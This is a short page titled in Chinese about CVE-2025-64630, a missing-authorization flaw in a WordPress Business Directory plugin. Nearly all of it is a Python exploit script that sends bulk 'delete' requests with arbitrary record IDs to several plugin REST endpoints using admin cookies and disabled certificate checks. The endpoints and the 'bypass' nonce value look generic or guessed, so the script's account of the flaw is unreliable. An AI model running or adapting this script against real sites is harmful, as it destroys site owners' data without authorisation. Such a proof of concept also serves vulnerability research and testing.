CVE-2025-64630 WordPress Business Directory Plugin 授权缺失漏洞

# CVE-2025-64630 PoC - Business Directory Plugin Authorization Bypass # Requires high-privilege account (Admin) import requests import sys TARGET_URL = "https://vulnerable-site.com" API_ENDPOINT = "/wp-json/business-directory/v1/" COOKIES = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_sec": "YOUR_ADMIN_COOKIE", "wordpress_logged_in": "YOUR_LOGGED_IN_COOKIE" } def exploit_authorization_bypass(): """ Exploit for Missing Authorization vulnerability in Business Directory Plugin This PoC demonstrates accessing restricted functionality without proper authorization """ headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json", "X-WP-Nonce": "RETRACTED" # WordPress REST API nonce } # Target specific vulnerable endpoint vulnerable_endpoints = [ "listings/bulk-action", "settings/update", "categories/manage", "fields/delete" ] for endpoint in vulnerable_endpoints: url = f"{TARGET_URL}{API_ENDPOINT}{endpoint}" # Malicious payload to exploit broken access control payload = { "action": "delete", "ids": ["1", "2", "3"], # Target arbitrary records "_wpnonce": "bypass_nonce_verification" } try: response = requests.post( url, json=payload, cookies=COOKIES, headers=headers, verify=False, timeout=10 ) print(f"[*] Testing endpoint: {endpoint}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: data = response.json() if data.get("success") or data.get("data"): print(f"[!] VULNERABLE: Authorization bypass successful on {endpoint}") print(f"[!] Response: {data}") return True else: print(f"[*] Protected or not vulnerable") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("CVE-2025-64630 - Business Directory Plugin Authorization Bypass") print("=" * 60) if exploit_authorization_bypass(): print("\n[!] Exploitation successful - Target is vulnerable") sys.exit(0) else: print("\n[*] No vulnerable endpoints found") sys.exit(1)